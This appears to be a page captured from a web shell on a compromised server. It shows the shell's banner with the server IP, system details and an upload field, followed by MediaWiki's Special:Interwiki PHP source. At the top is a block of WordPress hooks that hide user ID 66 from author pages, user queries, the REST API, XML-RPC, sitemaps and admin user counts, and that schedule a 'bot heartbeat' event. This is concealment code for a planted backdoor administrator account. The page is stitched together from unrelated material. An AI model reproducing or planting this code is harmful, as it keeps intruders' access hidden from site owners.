add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/specials/ |
Upload File : |
<?php
namespace MediaWiki\Specials;
use LogicException;
use MediaWiki\Exception\PermissionsError;
use MediaWiki\Exception\ReadOnlyError;
use MediaWiki\Html\Html;
use MediaWiki\HTMLForm\HTMLForm;
use MediaWiki\Interwiki\InterwikiLookup;
use MediaWiki\Language\Language;
use MediaWiki\Languages\LanguageNameUtils;
use MediaWiki\Logging\ManualLogEntry;
use MediaWiki\MainConfigNames;
use MediaWiki\Message\Message;
use MediaWiki\Output\OutputPage;
use MediaWiki\SpecialPage\SpecialPage;
use MediaWiki\Status\Status;
use MediaWiki\Title\Title;
use MediaWiki\Utils\UrlUtils;
use Wikimedia\Rdbms\IConnectionProvider;
/**
* Implements Special:Interwiki
*
* @since 1.44
* @ingroup SpecialPage
*/
class SpecialInterwiki extends SpecialPage {
private Language $contLang;
private InterwikiLookup $interwikiLookup;
private LanguageNameUtils $languageNameUtils;
private UrlUtils $urlUtils;
private IConnectionProvider $dbProvider;
private array $virtualDomainsMapping;
private bool $interwikiMagic;
public function __construct(
Language $contLang,
InterwikiLookup $interwikiLookup,
LanguageNameUtils $languageNameUtils,
UrlUtils $urlUtils,
IConnectionProvider $dbProvider
) {
parent::__construct( 'Interwiki' );
$this->contLang = $contLang;
$this->interwikiLookup = $interwikiLookup;
$this->languageNameUtils = $languageNameUtils;
$this->urlUtils = $urlUtils;
$this->dbProvider = $dbProvider;
$this->virtualDomainsMapping = $this->getConfig()->get( MainConfigNames::VirtualDomainsMapping ) ?? [];
$this->interwikiMagic = $this->getConfig()->get( MainConfigNames::InterwikiMagic ) ?? true;
}
public function doesWrites() {
return true;
}
/**
* Different description will be shown on Special:SpecialPage depending on
* whether the user can modify the data.
*
* @return Message
*/
public function getDescription() {
return $this->msg( $this->canModify() ? 'interwiki' : 'interwiki-title-norights' );
}
public function getSubpagesForPrefixSearch() {
// delete, edit both require the prefix parameter.
return [ 'add' ];
}
/**
* Show the special page
*
* @param string|null $par parameter passed to the page or null
*/
public function execute( $par ) {
$this->setHeaders();
$this->outputHeader();
$out = $this->getOutput();
$request = $this->getRequest();
$out->addModuleStyles( 'mediawiki.special.interwiki' );
$action = $par ?? $request->getRawVal( 'action' );
if ( in_array( $action, [ 'add', 'edit', 'delete' ] ) && $this->canModify( $out ) ) {
$this->showForm( $action );
} else {
$this->showList();
}
}
/**
* Returns boolean whether the user can modify the data.
*
* @param OutputPage|bool $out If an OutputPage object given, it adds the respective error message.
* @return bool
* @throws PermissionsError|ReadOnlyError
*/
private function canModify( $out = false ) {
if ( !$this->getUser()->isAllowed( 'interwiki' ) ) {
// Check permissions
if ( $out ) {
throw new PermissionsError( 'interwiki' );
}
return false;
} elseif ( $this->getConfig()->get( MainConfigNames::InterwikiCache ) ) {
// Editing the interwiki cache is not supported
if ( $out ) {
$out->addWikiMsg( 'interwiki-cached' );
}
return false;
} else {
if ( $out ) {
$this->checkReadOnly();
}
}
return true;
}
/**
* @param string $action The action of the form
*/
protected function showForm( $action ) {
$formDescriptor = [];
$hiddenFields = [
'action' => $action,
];
$status = Status::newGood();
$request = $this->getRequest();
$prefix = $request->getText( 'prefix' );
switch ( $action ) {
case 'add':
case 'edit':
$formDescriptor = [
'prefix' => [
'type' => 'text',
'label-message' => 'interwiki-prefix-label',
'name' => 'prefix',
'autofocus' => true,
],
'local' => [
'type' => 'check',
'id' => 'mw-interwiki-local',
'label-message' => 'interwiki-local-label',
'name' => 'local',
],
'trans' => [
'type' => 'check',
'id' => 'mw-interwiki-trans',
'label-message' => 'interwiki-trans-label',
'name' => 'trans',
],
'url' => [
'type' => 'url',
'id' => 'mw-interwiki-url',
'label-message' => 'interwiki-url-label',
'maxlength' => 200,
'name' => 'url',
'size' => 60,
],
'api' => [
'type' => 'url',
'id' => 'mw-interwiki-api',
'label-message' => 'interwiki-api-label',
'maxlength' => 200,
'name' => 'api',
'size' => 60,
],
'reason' => [
'type' => 'text',
'id' => "mw-interwiki-{$action}reason",
'label-message' => 'interwiki_reasonfield',
'maxlength' => 200,
'name' => 'reason',
'size' => 60,
],
];
break;
case 'delete':
$formDescriptor = [
'prefix' => [
'type' => 'hidden',
'name' => 'prefix',
'default' => $prefix,
],
'reason' => [
'type' => 'text',
'name' => 'reason',
'label-message' => 'interwiki_reasonfield',
],
];
break;
default:
throw new LogicException( "Unexpected action: {$action}" );
}
if ( $action === 'edit' || $action === 'delete' ) {
$dbr = $this->dbProvider->getReplicaDatabase();
$row = $dbr->newSelectQueryBuilder()
->select( '*' )
->from( 'interwiki' )
->where( [ 'iw_prefix' => $prefix ] )
->caller( __METHOD__ )->fetchRow();
if ( $action === 'edit' ) {
if ( !$row ) {
$status->fatal( 'interwiki_editerror', $prefix );
} else {
$formDescriptor['prefix']['disabled'] = true;
$formDescriptor['prefix']['default'] = $prefix;
$hiddenFields['prefix'] = $prefix;
$formDescriptor['url']['default'] = $row->iw_url;
$formDescriptor['api']['default'] = $row->iw_api;
$formDescriptor['trans']['default'] = $row->iw_trans;
$formDescriptor['local']['default'] = $row->iw_local;
}
} else { // $action === 'delete'
if ( !$row ) {
$status->fatal( 'interwiki_delfailed', $prefix );
}
}
}
if ( !$status->isOK() ) {
$formDescriptor = [];
}
$htmlForm = HTMLForm::factory( 'ooui', $formDescriptor, $this->getContext() );
$htmlForm
->addHiddenFields( $hiddenFields )
->setSubmitCallback( [ $this, 'onSubmit' ] );
if ( $status->isOK() ) {
if ( $action === 'delete' ) {
$htmlForm->setSubmitDestructive();
}
$htmlForm->setSubmitTextMsg( $action !== 'add' ? $action : 'interwiki_addbutton' )
->setPreHtml( $this->msg( $action !== 'delete' ? "interwiki_{$action}intro" :
'interwiki_deleting', $prefix )->escaped() )
->show();
} else {
$htmlForm->suppressDefaultSubmit()
->prepareForm()
->displayForm( $status );
}
$this->getOutput()->addBacklinkSubtitle( $this->getPageTitle() );
}
public function onSubmit( array $data ) {
$status = Status::newGood();
$request = $this->getRequest();
$config = $this->getConfig();
$prefix = $data['prefix'];
$do = $request->getRawVal( 'action' );
// Show an error if the prefix is invalid (only when adding one).
// Invalid characters for a title should also be invalid for a prefix.
// Whitespace, ':', '&' and '=' are invalid, too.
// (Bug 30599).
$validPrefixChars = preg_replace( '/[ :&=]/', '', Title::legalChars() );
if ( $do === 'add' && preg_match( "/\s|[^$validPrefixChars]/", $prefix ) ) {
$status->fatal( 'interwiki-badprefix', htmlspecialchars( $prefix ) );
return $status;
}
// Disallow adding local interlanguage definitions if using global
if (
$do === 'add'
&& $this->isLanguagePrefix( $prefix )
&& isset( $this->virtualDomainsMapping['virtual-interwiki-interlanguage'] )
) {
$status->fatal( 'interwiki-cannotaddlocallanguage', htmlspecialchars( $prefix ) );
return $status;
}
$reason = $data['reason'];
$selfTitle = $this->getPageTitle();
$dbw = $this->dbProvider->getPrimaryDatabase();
switch ( $do ) {
case 'delete':
$dbw->newDeleteQueryBuilder()
->deleteFrom( 'interwiki' )
->where( [ 'iw_prefix' => $prefix ] )
->caller( __METHOD__ )->execute();
if ( $dbw->affectedRows() === 0 ) {
$status->fatal( 'interwiki_delfailed', $prefix );
} else {
$this->getOutput()->addWikiMsg( 'interwiki_deleted', $prefix );
$log = new ManualLogEntry( 'interwiki', 'iw_delete' );
$log->setTarget( $selfTitle );
$log->setComment( $reason );
$log->setParameters( [
'4::prefix' => $prefix
] );
$log->setPerformer( $this->getUser() );
$log->insert();
$this->interwikiLookup->invalidateCache( $prefix );
}
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'add':
$prefix = $this->contLang->lc( $prefix );
// Fall through
case 'edit':
// T374771: Trim the URL and API URLs to reduce confusion when
// the URLs are accidentally provided with extra whitespace
$theurl = trim( $data['url'] );
$api = trim( $data['api'] ?? '' );
$local = $data['local'] ? 1 : 0;
$trans = $data['trans'] ? 1 : 0;
$row = [
'iw_prefix' => $prefix,
'iw_url' => $theurl,
'iw_api' => $api,
'iw_wikiid' => '',
'iw_local' => $local,
'iw_trans' => $trans
];
if ( $prefix === '' || $theurl === '' ) {
$status->fatal( 'interwiki-submit-empty' );
break;
}
// Simple URL validation: check that the protocol is one of
// the supported protocols for this wiki.
// (T32600)
if ( !$this->urlUtils->parse( $theurl ) ) {
$status->fatal( 'interwiki-submit-invalidurl' );
break;
}
if ( $do === 'add' ) {
$dbw->newInsertQueryBuilder()
->insertInto( 'interwiki' )
->row( $row )
->ignore()
->caller( __METHOD__ )->execute();
} else { // $do === 'edit'
$dbw->newUpdateQueryBuilder()
->update( 'interwiki' )
->set( $row )
->where( [ 'iw_prefix' => $prefix ] )
->ignore()
->caller( __METHOD__ )->execute();
}
// used here: interwiki_addfailed, interwiki_added, interwiki_edited
if ( $dbw->affectedRows() === 0 ) {
$status->fatal( "interwiki_{$do}failed", $prefix );
} else {
$this->getOutput()->addWikiMsg( "interwiki_{$do}ed", $prefix );
$log = new ManualLogEntry( 'interwiki', 'iw_' . $do );
$log->setTarget( $selfTitle );
$log->setComment( $reason );
$log->setParameters( [
'4::prefix' => $prefix,
'5::url' => $theurl,
'6::trans' => $trans,
'7::local' => $local
] );
$log->setPerformer( $this->getUser() );
$log->insert();
$this->interwikiLookup->invalidateCache( $prefix );
}
break;
default:
throw new LogicException( "Unexpected action: {$do}" );
}
return $status;
}
/**
* Determine whether a prefix is a language link
*
* @param string $prefix
* @return bool
*/
private function isLanguagePrefix( $prefix ) {
return $this->interwikiMagic
&& $this->languageNameUtils->getLanguageName( $prefix );
}
protected function showList() {
$canModify = $this->canModify();
// Build lists
$iwPrefixes = $this->interwikiLookup->getAllPrefixes( null );
$iwGlobalPrefixes = [];
$iwGlobalLanguagePrefixes = [];
if ( isset( $this->virtualDomainsMapping['virtual-interwiki'] ) ) {
// Fetch list from global table
$dbrCentralDB = $this->dbProvider->getReplicaDatabase( 'virtual-interwiki' );
$res = $dbrCentralDB->newSelectQueryBuilder()
->select( '*' )
->from( 'interwiki' )
->caller( __METHOD__ )->fetchResultSet();
$retval = [];
foreach ( $res as $row ) {
$row = (array)$row;
if ( !$this->isLanguagePrefix( $row['iw_prefix'] ) ) {
$retval[] = $row;
}
}
$iwGlobalPrefixes = $retval;
}
// Almost the same loop as above, but for global inter*language* links, whereas the above is for
// global inter*wiki* links
$usingGlobalLanguages = isset( $this->virtualDomainsMapping['virtual-interwiki-interlanguage'] );
if ( $usingGlobalLanguages ) {
// Fetch list from global table
$dbrCentralLangDB = $this->dbProvider->getReplicaDatabase( 'virtual-interwiki-interlanguage' );
$res = $dbrCentralLangDB->newSelectQueryBuilder()
->select( '*' )
->from( 'interwiki' )
->caller( __METHOD__ )->fetchResultSet();
$retval2 = [];
foreach ( $res as $row ) {
$row = (array)$row;
// Note that the above DB query explicitly *excludes* interlang ones
// (which makes sense), whereas here we _only_ care about interlang ones!
if ( $this->isLanguagePrefix( $row['iw_prefix'] ) ) {
$retval2[] = $row;
}
}
$iwGlobalLanguagePrefixes = $retval2;
}
// Split out language links
$iwLocalPrefixes = [];
$iwLanguagePrefixes = [];
foreach ( $iwPrefixes as $iwPrefix ) {
if ( $this->isLanguagePrefix( $iwPrefix['iw_prefix'] ) ) {
$iwLanguagePrefixes[] = $iwPrefix;
} else {
$iwLocalPrefixes[] = $iwPrefix;
}
}
// If using global interlanguage links, just ditch the data coming from the
// local table and overwrite it with the global data
if ( $usingGlobalLanguages ) {
unset( $iwLanguagePrefixes );
$iwLanguagePrefixes = $iwGlobalLanguagePrefixes;
}
// Page intro content
$this->getOutput()->addWikiMsg( 'interwiki_intro' );
// Add 'view log' link
$logLink = $this->getLinkRenderer()->makeLink(
SpecialPage::getTitleFor( 'Log', 'interwiki' ),
$this->msg( 'interwiki-logtext' )->text()
);
$this->getOutput()->addHTML(
Html::rawElement( 'p', [ 'class' => 'mw-interwiki-log' ], $logLink )
);
// Add 'add' link
if ( $canModify ) {
if ( count( $iwGlobalPrefixes ) !== 0 ) {
if ( $usingGlobalLanguages ) {
$addtext = 'interwiki-addtext-local-nolang';
} else {
$addtext = 'interwiki-addtext-local';
}
} else {
if ( $usingGlobalLanguages ) {
$addtext = 'interwiki-addtext-nolang';
} else {
$addtext = 'interwiki_addtext';
}
}
$addtext = $this->msg( $addtext )->text();
$addlink = $this->getLinkRenderer()->makeKnownLink(
$this->getPageTitle( 'add' ), $addtext );
$this->getOutput()->addHTML(
Html::rawElement( 'p', [ 'class' => 'mw-interwiki-addlink' ], $addlink )
);
}
$this->getOutput()->addWikiMsg( 'interwiki-legend' );
if ( $iwPrefixes === [] && $iwGlobalPrefixes === [] ) {
// If the interwiki table(s) are empty, display an error message
$this->error( 'interwiki_error' );
return;
}
// Add the global table
if ( count( $iwGlobalPrefixes ) !== 0 ) {
$this->getOutput()->addHTML(
Html::rawElement(
'h2',
[ 'class' => 'interwikitable-global' ],
$this->msg( 'interwiki-global-links' )->parse()
)
);
$this->getOutput()->addWikiMsg( 'interwiki-global-description' );
// $canModify is false here because this is just a display of remote data
$this->makeTable( false, $iwGlobalPrefixes );
}
// Add the local table
if ( count( $iwLocalPrefixes ) !== 0 ) {
if ( count( $iwGlobalPrefixes ) !== 0 ) {
$this->getOutput()->addHTML(
Html::rawElement(
'h2',
[ 'class' => 'interwikitable-local' ],
$this->msg( 'interwiki-local-links' )->parse()
)
);
$this->getOutput()->addWikiMsg( 'interwiki-local-description' );
} else {
$this->getOutput()->addHTML(
Html::rawElement(
'h2',
[ 'class' => 'interwikitable-local' ],
$this->msg( 'interwiki-links' )->parse()
)
);
$this->getOutput()->addWikiMsg( 'interwiki-description' );
}
$this->makeTable( $canModify, $iwLocalPrefixes );
}
// Add the language table
if ( count( $iwLanguagePrefixes ) !== 0 ) {
if ( $usingGlobalLanguages ) {
$header = 'interwiki-global-language-links';
$description = 'interwiki-global-language-description';
} else {
$header = 'interwiki-language-links';
$description = 'interwiki-language-description';
}
$this->getOutput()->addHTML(
Html::rawElement(
'h2',
[ 'class' => 'interwikitable-language' ],
$this->msg( $header )->parse()
)
);
$this->getOutput()->addWikiMsg( $description );
// When using global interlanguage links, don't allow them to be modified
// except on the source wiki
$canModify = ( $usingGlobalLanguages ? false : $canModify );
$this->makeTable( $canModify, $iwLanguagePrefixes );
}
}
protected function makeTable( $canModify, $iwPrefixes ) {
// Output the existing Interwiki prefixes table header
$out = Html::openElement(
'table',
[ 'class' => 'mw-interwikitable wikitable sortable' ]
) . "\n";
$out .= Html::openElement( 'thead' ) .
Html::openElement( 'tr', [ 'class' => 'interwikitable-header' ] ) .
Html::element( 'th', [], $this->msg( 'interwiki_prefix' )->text() ) .
Html::element( 'th', [], $this->msg( 'interwiki_url' )->text() ) .
Html::element( 'th', [], $this->msg( 'interwiki_local' )->text() ) .
Html::element( 'th', [], $this->msg( 'interwiki_trans' )->text() ) .
( $canModify ?
Html::element(
'th',
[ 'class' => 'unsortable' ],
$this->msg( 'interwiki_edit' )->text()
) :
''
);
$out .= Html::closeElement( 'tr' ) .
Html::closeElement( 'thead' ) . "\n" .
Html::openElement( 'tbody' );
$selfTitle = $this->getPageTitle();
// Output the existing Interwiki prefixes table rows
foreach ( $iwPrefixes as $iwPrefix ) {
$out .= Html::openElement( 'tr', [ 'class' => 'mw-interwikitable-row' ] );
$out .= Html::element( 'td', [ 'class' => 'mw-interwikitable-prefix' ],
$iwPrefix['iw_prefix'] );
$out .= Html::element(
'td',
[ 'class' => 'mw-interwikitable-url' ],
$iwPrefix['iw_url']
);
$attribs = [ 'class' => 'mw-interwikitable-local' ];
// Green background for cells with "yes".
if ( isset( $iwPrefix['iw_local'] ) && $iwPrefix['iw_local'] ) {
$attribs['class'] .= ' mw-interwikitable-local-yes';
}
// The messages interwiki_0 and interwiki_1 are used here.
$contents = isset( $iwPrefix['iw_local'] ) ?
$this->msg( 'interwiki_' . $iwPrefix['iw_local'] )->text() :
'-';
$out .= Html::element( 'td', $attribs, $contents );
$attribs = [ 'class' => 'mw-interwikitable-trans' ];
// Green background for cells with "yes".
if ( isset( $iwPrefix['iw_trans'] ) && $iwPrefix['iw_trans'] ) {
$attribs['class'] .= ' mw-interwikitable-trans-yes';
}
// The messages interwiki_0 and interwiki_1 are used here.
$contents = isset( $iwPrefix['iw_trans'] ) ?
$this->msg( 'interwiki_' . $iwPrefix['iw_trans'] )->text() :
'-';
$out .= Html::element( 'td', $attribs, $contents );
// Additional column when the interwiki table can be modified.
if ( $canModify ) {
$out .= Html::rawElement( 'td', [ 'class' => 'mw-interwikitable-modify' ],
$this->getLinkRenderer()->makeKnownLink(
$selfTitle,
$this->msg( 'edit' )->text(),
[],
[ 'action' => 'edit', 'prefix' => $iwPrefix['iw_prefix'] ]
) .
$this->msg( 'comma-separator' )->escaped() .
$this->getLinkRenderer()->makeKnownLink(
$selfTitle,
$this->msg( 'delete' )->text(),
[],
[ 'action' => 'delete', 'prefix' => $iwPrefix['iw_prefix'] ]
)
);
}
$out .= Html::closeElement( 'tr' ) . "\n";
}
$out .= Html::closeElement( 'tbody' ) .
Html::closeElement( 'table' );
$this->getOutput()->addHTML( $out );
$this->getOutput()->addModuleStyles( 'jquery.tablesorter.styles' );
$this->getOutput()->addModules( 'jquery.tablesorter' );
}
/**
* @param string ...$args
*/
protected function error( ...$args ) {
$this->getOutput()->wrapWikiMsg( "<p class='error'>$1</p>", $args );
}
protected function getGroupName() {
return 'wiki';
}
}